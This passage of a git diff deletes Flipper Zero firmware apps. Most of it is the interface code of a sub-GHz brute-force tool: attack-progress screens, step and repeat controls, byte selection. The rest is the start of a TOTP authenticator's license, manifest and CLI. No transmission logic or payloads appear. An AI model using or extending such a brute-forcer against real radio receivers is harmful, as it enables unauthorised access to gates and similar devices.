if(event->type == InputTypeRepeat) { - if(event->key == InputKeyLeft) { - instance->callback(SubBruteCustomEventTypeChangeStepDownMore, instance->context); - } else if(event->key == InputKeyRight) { - instance->callback(SubBruteCustomEventTypeChangeStepUpMore, instance->context); - } - update = true; - } - } else { - // ATTACK Mode! - if((event->type == InputTypeShort || event->type == InputTypeRepeat) && - (event->key == InputKeyOk || event->key == InputKeyBack)) { - instance->is_attacking = false; - instance->callback(SubBruteCustomEventTypeTransmitNotStarted, instance->context); - - update = true; - } - } - - if(update) { - with_view_model( - instance->view, - SubBruteAttackViewModel * model, - { - if(model->is_attacking != instance->is_attacking) { - if(instance->is_attacking) { - icon_animation_stop(model->icon); - icon_animation_start(model->icon); - } else { - icon_animation_stop(model->icon); - } - } - - model->attack_type = instance->attack_type; - model->max_value = instance->max_value; - model->current_step = instance->current_step; - model->is_attacking = instance->is_attacking; - }, - update); - } - - return update; -} - -SubBruteAttackView* subbrute_attack_view_alloc() { - SubBruteAttackView* instance = malloc(sizeof(SubBruteAttackView)); - - instance->view = view_alloc(); - view_allocate_model(instance->view, ViewModelTypeLocking, sizeof(SubBruteAttackViewModel)); - view_set_context(instance->view, instance); - - with_view_model( - instance->view, - SubBruteAttackViewModel * model, - { - model->icon = icon_animation_alloc(&A_Sub1ghz_14); - view_tie_icon_animation(instance->view, model->icon); - }, - true); - - view_set_draw_callback(instance->view, (ViewDrawCallback)subbrute_attack_view_draw); - view_set_input_callback(instance->view, subbrute_attack_view_input); - view_set_enter_callback(instance->view, subbrute_attack_view_enter); - view_set_exit_callback(instance->view, subbrute_attack_view_exit); - - instance->attack_type = SubBruteAttackTotalCount; - instance->max_value = 0x00; - instance->current_step = 0; - instance->is_attacking = false; - - return instance; -} - -void subbrute_attack_view_enter(void* context) { - furi_assert(context); - -#ifdef FURI_DEBUG - FURI_LOG_D(TAG, "subbrute_attack_view_enter"); -#endif -} - -void subbrute_attack_view_free(SubBruteAttackView* instance) { - furi_assert(instance); - -#ifdef FURI_DEBUG - FURI_LOG_D(TAG, "subbrute_attack_view_free"); -#endif - - with_view_model( - instance->view, - SubBruteAttackViewModel * model, - { icon_animation_free(model->icon); }, - false); - - view_free(instance->view); - free(instance); -} - -View* subbrute_attack_view_get_view(SubBruteAttackView* instance) { - furi_assert(instance); - return instance->view; -} - -void subbrute_attack_view_set_current_step(SubBruteAttackView* instance, uint64_t current_step) { - furi_assert(instance); -#ifdef FURI_DEBUG - //FURI_LOG_D(TAG, "Set step: %d", current_step); -#endif - instance->current_step = current_step; - with_view_model( - instance->view, - SubBruteAttackViewModel * model, - { model->current_step = current_step; }, - true); -} - -// We need to call init every time, because not every time we calls enter -// normally, call enter only once -void subbrute_attack_view_init_values( - SubBruteAttackView* instance, - uint8_t index, - uint64_t max_value, - uint64_t current_step, - bool is_attacking, - uint8_t extra_repeats) { -#ifdef FURI_DEBUG - FURI_LOG_I( - TAG, - "INIT, attack_type: %d, max_value: %lld, current_step: %lld, extra_repeats: %d", - index, - max_value, - current_step, - extra_repeats); -#endif - instance->attack_type = index; - instance->max_value = max_value; - instance->current_step = current_step; - instance->is_attacking = is_attacking; - // instance->extra_repeats = extra_repeats; - - with_view_model( - instance->view, - SubBruteAttackViewModel * model, - { - model->max_value = max_value; - model->attack_type = index; - model->current_step = current_step; - model->is_attacking = is_attacking; - model->repeat_count = extra_repeats; - if(is_attacking) { - icon_animation_start(model->icon); - } else { - icon_animation_stop(model->icon); - } - }, - true); -} - -void subbrute_attack_view_exit(void* context) { - furi_assert(context); - SubBruteAttackView* instance = context; -#ifdef FURI_DEBUG - FURI_LOG_D(TAG, "subbrute_attack_view_exit"); -#endif - with_view_model( - instance->view, - SubBruteAttackViewModel * model, - { icon_animation_stop(model->icon); }, - false); -} - -void subbrute_attack_view_draw(Canvas* canvas, void* context) { - furi_assert(context); - SubBruteAttackViewModel* model = (SubBruteAttackViewModel*)context; - char buffer[64]; - - const char* attack_name = NULL; - attack_name = subbrute_protocol_name(model->attack_type); - - // Title - if(model->is_attacking) { - canvas_set_color(canvas, ColorBlack); - canvas_set_font(canvas, FontSecondary); - canvas_draw_str_aligned(canvas, 64, 2, AlignCenter, AlignTop, attack_name); - } - - // Current Step / Max value - const uint8_t y_frequency = 17; - if(model->max_value > 9999) { - canvas_set_font(canvas, FontBigNumbers); - snprintf(buffer, sizeof(buffer), "%05d/", (int)model->current_step); - canvas_draw_str_aligned(canvas, 5, y_frequency, AlignLeft, AlignTop, buffer); - - // Second part with another font, because BigNumber is out of screen bounds - canvas_set_font(canvas, FontPrimary); - snprintf(buffer, sizeof(buffer), "%05d", (int)model->max_value); - canvas_draw_str_aligned(canvas, 107, y_frequency + 13, AlignRight, AlignBottom, buffer); - } else if(model->max_value <= 0xFF) { - canvas_set_font(canvas, FontBigNumbers); - snprintf( - buffer, sizeof(buffer), "%03d/%03d", (int)model->current_step, (int)model->max_value); - canvas_draw_str_aligned(canvas, 64, y_frequency, AlignCenter, AlignTop, buffer); - } else { - canvas_set_font(canvas, FontBigNumbers); - snprintf( - buffer, sizeof(buffer), "%04d/%04d", (int)model->current_step, (int)model->max_value); - canvas_draw_str_aligned(canvas, 64, y_frequency, AlignCenter, AlignTop, buffer); - } - canvas_set_font(canvas, FontSecondary); - - memset(buffer, 0, sizeof(buffer)); - if(!model->is_attacking) { - canvas_set_color(canvas, ColorBlack); - canvas_set_font(canvas, FontSecondary); - canvas_draw_str_aligned(canvas, 64, 44, AlignCenter, AlignBottom, attack_name); - - snprintf( - buffer, - sizeof(buffer), - "x%d", - model->repeat_count); // + subbrute_protocol_repeats_count(model->attack_type)); - canvas_draw_str_aligned(canvas, 60, 6, AlignCenter, AlignCenter, buffer); - - elements_button_left(canvas, "-1"); - elements_button_right(canvas, "+1"); - elements_button_center(canvas, "Start"); - elements_button_top_left(canvas, "Save"); - elements_button_top_right(canvas, "Resend"); - } else { - // canvas_draw_icon_animation - const uint8_t icon_h_offset = 0; - const uint8_t icon_width_with_offset = - icon_animation_get_width(model->icon) + icon_h_offset; - const uint8_t icon_v_offset = icon_animation_get_height(model->icon); // + vertical_offset; - const uint8_t x = canvas_width(canvas); - const uint8_t y = canvas_height(canvas); - canvas_draw_icon_animation( - canvas, x - icon_width_with_offset, y - icon_v_offset, model->icon); - // Progress bar - // Resolution: 128x64 px - float progress_value = (float)model->current_step / model->max_value; - elements_progress_bar(canvas, 8, 37, 110, progress_value > 1 ? 1 : progress_value); - - snprintf( - buffer, - sizeof(buffer), - "x%d", - model->repeat_count); // + subbrute_protocol_repeats_count(model->attack_type)); - canvas_draw_str(canvas, 4, y - 8, buffer); - canvas_draw_str(canvas, 4, y - 1, "repeats"); - - elements_button_center(canvas, "Stop"); - } -} diff --git a/applications/external/subghz_bruteforcer/views/subbrute_attack_view.h b/applications/external/subghz_bruteforcer/views/subbrute_attack_view.h deleted file mode 100644 index 55e3a8222..000000000 --- a/applications/external/subghz_bruteforcer/views/subbrute_attack_view.h +++ /dev/null @@ -1,25 +0,0 @@ -#pragma once - -#include "../subbrute_custom_event.h" -#include -#include -#include - -typedef void (*SubBruteAttackViewCallback)(SubBruteCustomEvent event, void* context); -typedef struct SubBruteAttackView SubBruteAttackView; - -void subbrute_attack_view_set_callback( - SubBruteAttackView* instance, - SubBruteAttackViewCallback callback, - void* context); -SubBruteAttackView* subbrute_attack_view_alloc(); -void subbrute_attack_view_free(SubBruteAttackView* instance); -View* subbrute_attack_view_get_view(SubBruteAttackView* instance); -void subbrute_attack_view_set_current_step(SubBruteAttackView* instance, uint64_t current_step); -void subbrute_attack_view_init_values( - SubBruteAttackView* instance, - uint8_t index, - uint64_t max_value, - uint64_t current_step, - bool is_attacking, - uint8_t extra_repeats); \ No newline at end of file diff --git a/applications/external/subghz_bruteforcer/views/subbrute_main_view.c b/applications/external/subghz_bruteforcer/views/subbrute_main_view.c deleted file mode 100644 index 2358f2375..000000000 --- a/applications/external/subghz_bruteforcer/views/subbrute_main_view.c +++ /dev/null @@ -1,488 +0,0 @@ -#include "subbrute_main_view.h" -#include "../subbrute_i.h" -#include "../helpers/gui_top_buttons.h" - -#include -#include - -#define STATUS_BAR_Y_SHIFT 14 -#define TAG "SubBruteMainView" - -#define ITEMS_ON_SCREEN 3 -#define ITEMS_INTERVAL 1 -#define ITEM_WIDTH 14 -#define ITEM_Y 27 -#define ITEM_HEIGHT 13 -#define TEXT_X 6 -#define TEXT_Y 37 -#define TEXT_INTERVAL 3 -#define TEXT_WIDTH 12 -#define ITEM_FRAME_RADIUS 2 - -struct SubBruteMainView { - View* view; - SubBruteMainViewCallback callback; - void* context; - uint8_t index; - bool is_select_byte; - bool two_bytes; - uint64_t key_from_file; - uint8_t repeat_values[SubBruteAttackTotalCount]; - uint8_t window_position; -}; - -typedef struct { - uint8_t index; - uint8_t repeat_values[SubBruteAttackTotalCount]; - uint8_t window_position; - bool is_select_byte; - bool two_bytes; - uint64_t key_from_file; -} SubBruteMainViewModel; - -void subbrute_main_view_set_callback( - SubBruteMainView* instance, - SubBruteMainViewCallback callback, - void* context) { - furi_assert(instance); - furi_assert(callback); - - instance->callback = callback; - instance->context = context; -} - -void subbrute_main_view_center_displayed_key( - Canvas* canvas, - uint64_t key, - uint8_t index, - bool two_bytes) { - uint8_t text_x = TEXT_X; - uint8_t item_x = TEXT_X - ITEMS_INTERVAL; - canvas_set_font(canvas, FontSecondary); - - for(int i = 0; i < 8; i++) { - char current_value[3] = {0}; - uint8_t byte_value = (uint8_t)(key >> 8 * (7 - i)) & 0xFF; - snprintf(current_value, sizeof(current_value), "%02X", byte_value); - - // For two bytes we need to select prev location - if(!two_bytes && i == index) { - canvas_set_color(canvas, ColorBlack); - canvas_draw_rbox( - canvas, item_x - 1, ITEM_Y, ITEM_WIDTH + 1, ITEM_HEIGHT, ITEM_FRAME_RADIUS); - canvas_set_color(canvas, ColorWhite); - canvas_draw_str(canvas, text_x, TEXT_Y, current_value); - } else if(two_bytes && (i == index || i == index - 1)) { - if(i == index) { - canvas_set_color(canvas, ColorBlack); - canvas_draw_rbox( - canvas, - item_x - ITEMS_INTERVAL - ITEM_WIDTH - 1, - ITEM_Y, - ITEM_WIDTH * 2 + ITEMS_INTERVAL * 2 + 1, - ITEM_HEIGHT, - ITEM_FRAME_RADIUS); - - canvas_set_color(canvas, ColorWhite); - canvas_draw_str(canvas, text_x, TEXT_Y, current_value); - - // Redraw prev element with white - memset(current_value, 0, sizeof(current_value)); - byte_value = (uint8_t)(key >> 8 * (7 - i + 1)) & 0xFF; - snprintf(current_value, sizeof(current_value), "%02X", byte_value); - canvas_draw_str( - canvas, text_x - (TEXT_WIDTH + TEXT_INTERVAL), TEXT_Y, current_value); - } else { - canvas_set_color(canvas, ColorWhite); - canvas_draw_str(canvas, text_x, TEXT_Y, current_value); - } - } else { - canvas_set_color(canvas, ColorBlack); - canvas_draw_str(canvas, text_x, TEXT_Y, current_value); - } - text_x = text_x + TEXT_WIDTH + TEXT_INTERVAL; - item_x = item_x + ITEM_WIDTH + ITEMS_INTERVAL; - } - - // Return normal color - canvas_set_color(canvas, ColorBlack); -} - -void subbrute_main_view_draw_is_byte_selected(Canvas* canvas, SubBruteMainViewModel* model) { -#ifdef FURI_DEBUG - //FURI_LOG_D(TAG, "key_from_file: %s", model->key_from_file); -#endif - //char msg_index[18]; - //snprintf(msg_index, sizeof(msg_index), "Field index: %d", model->index); - canvas_set_font(canvas, FontSecondary); - canvas_draw_str_aligned( - canvas, 64, 17, AlignCenter, AlignTop, "Please select values to calc:"); - - subbrute_main_view_center_displayed_key( - canvas, model->key_from_file, model->index, model->two_bytes); - //const char* line = furi_string_get_cstr(menu_items); - //canvas_set_font(canvas, FontSecondary); - //canvas_draw_str_aligned( - // canvas, 64, 37, AlignCenter, AlignTop, furi_string_get_cstr(menu_items)); - - elements_button_center(canvas, "Select"); - if(model->index > 0) { - elements_button_left(canvas, " "); - } - if(model->index < 7) { - elements_button_right(canvas, " "); - } - // Switch to another mode - if(model->two_bytes) { - elements_button_top_left(canvas, "One byte"); - } else { - elements_button_top_left(canvas, "Two bytes"); - } -} - -void subbrute_main_view_draw_is_ordinary_selected(Canvas* canvas, SubBruteMainViewModel* model) { - uint16_t screen_width = canvas_width(canvas); - uint16_t screen_height = canvas_height(canvas); - - // Title - canvas_set_font(canvas, FontPrimary); - canvas_draw_box(canvas, 0, 0, canvas_width(canvas), STATUS_BAR_Y_SHIFT); - canvas_invert_color(canvas); - canvas_draw_str_aligned(canvas, 64, 3, AlignCenter, AlignTop, SUBBRUTEFORCER_VER); - canvas_invert_color(canvas); - - // Menu - canvas_set_color(canvas, ColorBlack); - canvas_set_font(canvas, FontSecondary); - const uint8_t item_height = 16; - const uint8_t string_height_offset = 9; - -#ifdef FURI_DEBUG - //FURI_LOG_D(TAG, "window_position: %d, index: %d", model->window_position, model->index); -#endif - for(size_t position = 0; position < SubBruteAttackTotalCount; ++position) { - uint8_t item_position = position - model->window_position; - - if(item_position < ITEMS_ON_SCREEN) { - if(model->index == position) { - canvas_draw_str_aligned( - canvas, - 3, - string_height_offset + (item_position * item_height) + STATUS_BAR_Y_SHIFT, - AlignLeft, - AlignCenter, - subbrute_protocol_name(position)); - - elements_frame( - canvas, 1, 1 + (item_position * item_height) + STATUS_BAR_Y_SHIFT, 124, 15); - } else { - canvas_draw_str_aligned( - canvas, - 4, - string_height_offset + (item_position * item_height) + STATUS_BAR_Y_SHIFT, - AlignLeft, - AlignCenter, - subbrute_protocol_name(position)); - } - - uint8_t current_repeat_count = model->repeat_values[position]; - uint8_t min_repeat_count = subbrute_protocol_repeats_count(position); - - if(current_repeat_count > min_repeat_count) { -#ifdef FW_ORIGIN_Official - canvas_set_font(canvas, FontSecondary); -#else - canvas_set_font(canvas, FontBatteryPercent); -#endif - char buffer[10]; - snprintf(buffer, sizeof(buffer), "x%d", current_repeat_count); - uint8_t temp_x_offset_repeats = - current_repeat_count <= SUBBRUTE_PROTOCOL_MAX_REPEATS ? 15 : 18; - - canvas_draw_str_aligned( - canvas, - screen_width - temp_x_offset_repeats, - string_height_offset + (item_position * item_height) + STATUS_BAR_Y_SHIFT, - AlignLeft, - AlignCenter, - buffer); - canvas_set_font(canvas, FontSecondary); - } - } - } - - elements_scrollbar_pos( - canvas, - screen_width, - STATUS_BAR_Y_SHIFT + 2, - screen_height - STATUS_BAR_Y_SHIFT, - model->index, - SubBruteAttackTotalCount); -} - -void subbrute_main_view_draw(Canvas* canvas, SubBruteMainViewModel* model) { - if(model->is_select_byte) { - subbrute_main_view_draw_is_byte_selected(canvas, model); - } else { - subbrute_main_view_draw_is_ordinary_selected(canvas, model); - } -} - -bool subbrute_main_view_input_file_protocol(InputEvent* event, SubBruteMainView* instance) { - bool updated = false; - if(event->key == InputKeyLeft) { - if((instance->index > 0 && !instance->two_bytes) || - (instance->two_bytes && instance->index > 1)) { - instance->index--; - } - updated = true; - } else if(event->key == InputKeyRight) { - if(instance->index < 7) { - instance->index++; - } - updated = true; - } else if(event->key == InputKeyUp) { - instance->two_bytes = !instance->two_bytes; - // Because index is changing - if(instance->two_bytes && instance->index < 7) { - instance->index++; - } - // instance->callback( - // instance->two_bytes ? SubBruteCustomEventTypeChangeStepUp : - // SubBruteCustomEventTypeChangeStepDown, - // instance->context); - - updated = true; - } else if(event->key == InputKeyOk) { - instance->callback(SubBruteCustomEventTypeIndexSelected, instance->context); - updated = true; - } - return updated; -} - -bool subbrute_main_view_input_ordinary_protocol( - InputEvent* event, - SubBruteMainView* instance, - bool is_short) { - const uint8_t min_value = 0; - const uint8_t correct_total = SubBruteAttackTotalCount - 1; - uint8_t index = instance->index; - uint8_t min_repeats = subbrute_protocol_repeats_count(index); - uint8_t max_repeats = min_repeats * 3; - uint8_t current_repeats = instance->repeat_values[index]; - - bool updated = false; - if(event->key == InputKeyUp && is_short) { - if(index == min_value) { - instance->index = correct_total; - } else { - instance->index = CLAMP(index - 1, correct_total, min_value); - } - //instance->repeat_values = 0; - updated = true; - } else if(event->key == InputKeyDown && is_short) { - if(index == correct_total) { - instance->index = min_value; - } else { - instance->index = CLAMP(index + 1, correct_total, min_value); - } - //instance->repeat_values = 0; - updated = true; - } else if(event->key == InputKeyLeft && is_short) { - instance->repeat_values[index] = CLAMP(current_repeats - 1, max_repeats, min_repeats); - - updated = true; - } else if(event->key == InputKeyRight && is_short) { - instance->repeat_values[index] = CLAMP(current_repeats + 1, max_repeats, min_repeats); - - updated = true; - } else if(event->key == InputKeyOk && is_short) { - if(index == SubBruteAttackLoadFile) { - instance->callback(SubBruteCustomEventTypeLoadFile, instance->context); - } else { - instance->callback(SubBruteCustomEventTypeMenuSelected, instance->context); - } - updated = true; - } - - if(updated) { - instance->window_position = instance->index; - if(instance->window_position > 0) { - instance->window_position -= 1; - } - - if(SubBruteAttackTotalCount <= ITEMS_ON_SCREEN) { - instance->window_position = 0; - } else { - if(instance->window_position >= (SubBruteAttackTotalCount - ITEMS_ON_SCREEN)) { - instance->window_position = (SubBruteAttackTotalCount - ITEMS_ON_SCREEN); - } - } - } - - return updated; -} - -bool subbrute_main_view_input(InputEvent* event, void* context) { - furi_assert(event); - furi_assert(context); - - SubBruteMainView* instance = context; - - if(event->key == InputKeyBack && event->type == InputTypeShort) { -#ifdef FURI_DEBUG - FURI_LOG_I(TAG, "InputKey: BACK"); -#endif - instance->callback(SubBruteCustomEventTypeBackPressed, instance->context); - return false; - } - -#ifdef FURI_DEBUG - FURI_LOG_D( - TAG, - "InputKey: %d, extra_repeats: %d", - event->key, - instance->repeat_values[instance->index]); -#endif - - bool updated = false; - bool is_short = (event->type == InputTypeShort) || (event->type == InputTypeRepeat); - - if(instance->is_select_byte) { - if(is_short) { - updated = subbrute_main_view_input_file_protocol(event, instance); - } - } else { - updated = subbrute_main_view_input_ordinary_protocol(event, instance, is_short); - } - - if(updated) { - with_view_model( - instance->view, - SubBruteMainViewModel * model, - { - model->index = instance->index; - model->window_position = instance->window_position; - model->key_from_file = instance->key_from_file; - model->is_select_byte = instance->is_select_byte; - model->two_bytes = instance->two_bytes; - model->repeat_values[model->index] = instance->repeat_values[instance->index]; - }, - true); - } - - return updated; -} - -void subbrute_main_view_enter(void* context) { - furi_assert(context); -} - -void subbrute_main_view_exit(void* context) { - furi_assert(context); -} - -SubBruteMainView* subbrute_main_view_alloc() { - SubBruteMainView* instance = malloc(sizeof(SubBruteMainView)); - instance->view = view_alloc(); - view_allocate_model(instance->view, ViewModelTypeLocking, sizeof(SubBruteMainViewModel)); - view_set_context(instance->view, instance); - view_set_draw_callback(instance->view, (ViewDrawCallback)subbrute_main_view_draw); - view_set_input_callback(instance->view, subbrute_main_view_input); - view_set_enter_callback(instance->view, subbrute_main_view_enter); - view_set_exit_callback(instance->view, subbrute_main_view_exit); - - instance->index = 0; - instance->window_position = 0; - instance->key_from_file = 0; - instance->is_select_byte = false; - instance->two_bytes = false; - - with_view_model( - instance->view, - SubBruteMainViewModel * model, - { - model->index = instance->index; - model->window_position = instance->window_position; - model->key_from_file = instance->key_from_file; - model->is_select_byte = instance->is_select_byte; - model->two_bytes = instance->two_bytes; - }, - true); - - return instance; -} - -void subbrute_main_view_free(SubBruteMainView* instance) { - furi_assert(instance); - - view_free(instance->view); - free(instance); -} - -View* subbrute_main_view_get_view(SubBruteMainView* instance) { - furi_assert(instance); - return instance->view; -} - -void subbrute_main_view_set_index( - SubBruteMainView* instance, - uint8_t idx, - const uint8_t* repeats, - bool is_select_byte, - bool two_bytes, - uint64_t key_from_file) { - furi_assert(instance); - furi_assert(idx < SubBruteAttackTotalCount); -#ifdef FURI_DEBUG - FURI_LOG_I(TAG, "Set index: %d, is_select_byte: %d", idx, is_select_byte); -#endif - for(size_t i = 0; i < SubBruteAttackTotalCount; i++) { - instance->repeat_values[i] = repeats[i]; - } - instance->is_select_byte = is_select_byte; - instance->two_bytes = two_bytes; - instance->key_from_file = key_from_file; - instance->index = idx; - instance->window_position = idx; - - if(!is_select_byte) { - if(instance->window_position > 0) { - instance->window_position -= 1; - } - - if(instance->window_position >= (SubBruteAttackTotalCount - ITEMS_ON_SCREEN)) { - instance->window_position = (SubBruteAttackTotalCount - ITEMS_ON_SCREEN); - } - } - - with_view_model( - instance->view, - SubBruteMainViewModel * model, - { - model->index = instance->index; - model->window_position = instance->window_position; - model->key_from_file = instance->key_from_file; - model->is_select_byte = instance->is_select_byte; - model->two_bytes = instance->two_bytes; - for(size_t i = 0; i < SubBruteAttackTotalCount; i++) { - model->repeat_values[i] = repeats[i]; - } - }, - true); -} - -SubBruteAttacks subbrute_main_view_get_index(SubBruteMainView* instance) { - furi_assert(instance); - return instance->index; -} - -const uint8_t* subbrute_main_view_get_extra_repeats(SubBruteMainView* instance) { - furi_assert(instance); - return instance->repeat_values; -} - -bool subbrute_main_view_get_two_bytes(SubBruteMainView* instance) { - furi_assert(instance); - return instance->two_bytes; -} diff --git a/applications/external/subghz_bruteforcer/views/subbrute_main_view.h b/applications/external/subghz_bruteforcer/views/subbrute_main_view.h deleted file mode 100644 index 4aa8ddd7f..000000000 --- a/applications/external/subghz_bruteforcer/views/subbrute_main_view.h +++ /dev/null @@ -1,33 +0,0 @@ -#pragma once - -#include "../subbrute_custom_event.h" -#include "../subbrute_protocols.h" -#include -#include -#include - -typedef void (*SubBruteMainViewCallback)(SubBruteCustomEvent event, void* context); -typedef struct SubBruteMainView SubBruteMainView; - -void subbrute_main_view_set_callback( - SubBruteMainView* instance, - SubBruteMainViewCallback callback, - void* context); - -SubBruteMainView* subbrute_main_view_alloc(); -void subbrute_main_view_free(SubBruteMainView* instance); -View* subbrute_main_view_get_view(SubBruteMainView* instance); -void subbrute_main_view_set_index( - SubBruteMainView* instance, - uint8_t idx, - const uint8_t* repeats, - bool is_select_byte, - bool two_bytes, - uint64_t key_from_file); -SubBruteAttacks subbrute_main_view_get_index(SubBruteMainView* instance); -const uint8_t* subbrute_main_view_get_extra_repeats(SubBruteMainView* instance); -bool subbrute_main_view_get_two_bytes(SubBruteMainView* instance); -void subbrute_attack_view_enter(void* context); -void subbrute_attack_view_exit(void* context); -bool subbrute_attack_view_input(InputEvent* event, void* context); -void subbrute_attack_view_draw(Canvas* canvas, void* context); diff --git a/applications/external/totp/LICENSE b/applications/external/totp/LICENSE deleted file mode 100644 index 65504e7b1..000000000 --- a/applications/external/totp/LICENSE +++ /dev/null @@ -1,21 +0,0 @@ -MIT License - -Copyright (c) 2022 Alexander Kopachov - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. diff --git a/applications/external/totp/application.fam b/applications/external/totp/application.fam deleted file mode 100644 index 8e4eaa519..000000000 --- a/applications/external/totp/application.fam +++ /dev/null @@ -1,50 +0,0 @@ -App( - appid="totp", - name="Authenticator", - apptype=FlipperAppType.EXTERNAL, - entry_point="totp_app", - cdefines=["APP_TOTP"], - requires=["gui", "cli", "dialogs", "storage", "input", "notification", "bt"], - stack_size=2 * 1024, - fap_version="4.03", - fap_author="Alexander Kopachov (@akopachov)", - fap_description="Software-based TOTP authenticator for Flipper Zero device", - fap_weburl="https://github.com/akopachov/flipper-zero_authenticator", - fap_category="Tools", - fap_icon_assets="images", - fap_icon="totp_10px.png", - fap_private_libs=[ - Lib( - name="base32", - ), - Lib( - name="base64", - ), - Lib( - name="timezone_utils", - ), - Lib( - name="polyfills", - ), - Lib( - name="roll_value", - ), - Lib( - name="fonts", - ), - Lib( - name="wolfssl", - sources=[ - "wolfcrypt/src/pwdbased.c", - "wolfcrypt/src/hmac.c", - "wolfcrypt/src/hash.c", - "wolfcrypt/src/sha.c", - "wolfcrypt/src/sha256.c", - "wolfcrypt/src/sha512.c", - ], - cflags=["-Wno-error"], - cdefines=["HAVE_CONFIG_H"], - cincludes=["config/wolfssl"], - ), - ], -) diff --git a/applications/external/totp/cli/cli.c b/applications/external/totp/cli/cli.c deleted file mode 100644 index a556c31ac..000000000 --- a/applications/external/totp/cli/cli.c +++ /dev/null @@ -1,100 +0,0 @@ -// Original idea: https://github.com/br0ziliy - -#include "cli.h" -#include -#include "cli_helpers.h" -#include "commands/list/list.h" -#include "commands/add/add.h" -#include "commands/update/update.h" -#include "commands/delete/delete.h" -#include "commands/timezone/timezone.h" -#include "commands/help/help.h" -#include "commands/move/move.h" -#include "commands/pin/pin.h" -#include "commands/notification/notification.h" -#include "commands/reset/reset.h" -#include "commands/automation/automation.h" -#include "commands/details/details.h" - -struct TotpCliContext { - PluginState* plugin_state; -}; - -static void totp_cli_print_unknown_command(const FuriString* unknown_command) { - TOTP_CLI_PRINTF_ERROR( - "Command \"%s\" is unknown. Use \"" TOTP_CLI_COMMAND_HELP - "\" command to get list of available commands.", - furi_string_get_cstr(unknown_command)); -} - -static void totp_cli_handler(Cli* cli, FuriString* args, void* context) { - TotpCliContext* cli_context = context; - PluginState* plugin_state = cli_context->plugin_state; - - FuriString* cmd = furi_string_alloc(); - - args_read_string_and_trim(args, cmd); - - if(furi_string_cmp_str(cmd, TOTP_CLI_COMMAND_HELP) == 0 || - furi_string_cmp_str(cmd, TOTP_CLI_COMMAND_HELP_ALT) == 0 || - furi_string_cmp_str(cmd, TOTP_CLI_COMMAND_HELP_ALT2) == 0 || furi_string_empty(cmd)) { - totp_cli_command_help_handle(); - } else if( - furi_string_cmp_str(cmd, TOTP_CLI_COMMAND_ADD) == 0 || - furi_string_cmp_str(cmd, TOTP_CLI_COMMAND_ADD_ALT) == 0 || - furi_string_cmp_str(cmd, TOTP_CLI_COMMAND_ADD_ALT2) == 0) { - totp_cli_command_add_handle(plugin_state, args, cli); - } else if( - furi_string_cmp_str(cmd, TOTP_CLI_COMMAND_LIST) == 0 || - furi_string_cmp_str(cmd, TOTP_CLI_COMMAND_LIST_ALT) == 0) { - totp_cli_command_list_handle(plugin_state, args, cli); - } else if( - furi_string_cmp_str(cmd, TOTP_CLI_COMMAND_DELETE) == 0 || - furi_string_cmp_str(cmd, TOTP_CLI_COMMAND_DELETE_ALT) == 0) { - totp_cli_command_delete_handle(plugin_state, args, cli); - } else if( - furi_string_cmp_str(cmd, TOTP_CLI_COMMAND_TIMEZONE) == 0 || - furi_string_cmp_str(cmd, TOTP_CLI_COMMAND_TIMEZONE_ALT) == 0) { - totp_cli_command_timezone_handle(plugin_state, args, cli); - } else if( - furi_string_cmp_str(cmd, TOTP_CLI_COMMAND_MOVE) == 0 || - furi_string_cmp_str(cmd, TOTP_CLI_COMMAND_MOVE_ALT) == 0) { - totp_cli_command_move_handle(plugin_state, args, cli); - } else if(furi_string_cmp_str(cmd, TOTP_CLI_COMMAND_PIN) == 0) { - totp_cli_command_pin_handle(plugin_state, args, cli); - } else if(furi_string_cmp_str(cmd, TOTP_CLI_COMMAND_NOTIFICATION) == 0) { - totp_cli_command_notification_handle(plugin_state, args, cli); - } else if(furi_string_cmp_str(cmd, TOTP_CLI_COMMAND_AUTOMATION) == 0) { - totp_cli_command_automation_handle(plugin_state, args, cli); - } else if(furi_string_cmp_str(cmd, TOTP_CLI_COMMAND_RESET) == 0) { - totp_cli_command_reset_handle(plugin_state, cli); - } else if(furi_string_cmp_str(cmd, TOTP_CLI_COMMAND_UPDATE) == 0) { - totp_cli_command_update_handle(plugin_state, args, cli); - } else if( - furi_string_cmp_str(cmd, TOTP_CLI_COMMAND_DETAILS) == 0 || - furi_string_cmp_str(cmd, TOTP_CLI_COMMAND_DETAILS_ALT) == 0) { - totp_cli_command_details_handle(plugin_state, args, cli); - } else { - totp_cli_print_unknown_command(cmd); - } - - furi_string_free(cmd); -} - -TotpCliContext* totp_cli_register_command_handler(PluginState* plugin_state) { - Cli* cli = furi_record_open(RECORD_CLI); - TotpCliContext* context = malloc(sizeof(TotpCliContext)); - furi_check(context != NULL); - context->plugin_state = plugin_state; - cli_add_command( - cli, TOTP_CLI_COMMAND_NAME, CliCommandFlagParallelSafe, totp_cli_handler, context); - furi_record_close(RECORD_CLI); - return context; -} - -void totp_cli_unregister_command_handler(TotpCliContext* context) { - Cli* cli = furi_record_open(RECORD_CLI); - cli_delete_command(cli, TOTP_CLI_COMMAND_NAME); - furi_record_close(RECORD_CLI); - free(context); -} \ No newline at end of file diff --git a/applications/external/totp/cli/cli.h b/applications/external/totp/cli/cli.h deleted file mode 100644 index 13afef78f..000000000 --- a/applications/external/totp/cli/cli.h +++ /dev/null @@ -1,19 +0,0 @@ -#pragma once - -#include -#include "../types/plugin_state.h" - -typedef struct TotpCliContext TotpCliContext; - -/** - * @brief Registers TOTP CLI handler - * @param plugin_state application state - * @return TOTP CLI context - */ -TotpCliContext* totp_cli_register_command_handler(PluginState* plugin_state); - -/** - * @brief Unregisters TOTP CLI handler - * @param context application state - */ -void totp_cli_unregister_command_handler(TotpCliContext* context); \ No newline at end of file diff --git a/applications/external/totp/cli/cli_helpers.c b/applications/external/totp/cli/cli_helpers.c deleted 